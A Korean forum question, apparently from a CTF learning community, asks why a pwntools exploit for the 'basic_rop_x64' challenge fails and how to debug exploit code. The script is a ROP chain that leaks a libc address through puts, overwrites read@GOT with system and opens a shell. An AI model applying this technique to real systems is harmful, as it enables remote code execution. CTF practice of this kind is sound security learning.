어느부분이 문제인건가요?ㅜㅜㅜ
from pwn import *
p = remote("host3.dreamhack.games",21490)
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
context.log_level = 'debug'
e = ELF("./basic_rop_x64")
libc = ELF("libc.so.6")
puts_plt=e.plt['puts']
read_plt=e.plt['read']
read_got=e.got['read']
pop_rdi=0x0000000000400883
pop_rsi_pop_r15=0x0000000000400881
payload = b"A"*0x40 + b"B"*0x8
puts(read_got)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_pop_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)
read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)
p.send(payload)
read = u64(p.recvn(6)+b"\x00"*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
slog("read", read)
slog("libc base", lb)
slog("system", system)
p.send(p64(system)+b"/bin/sh\x00")
p.interactive()
그리고 어덯해 익스플로잇 코드를 디버깅 하나요? 어느부분이 문제인지 익스코드 디버킹 하는지 알려주세요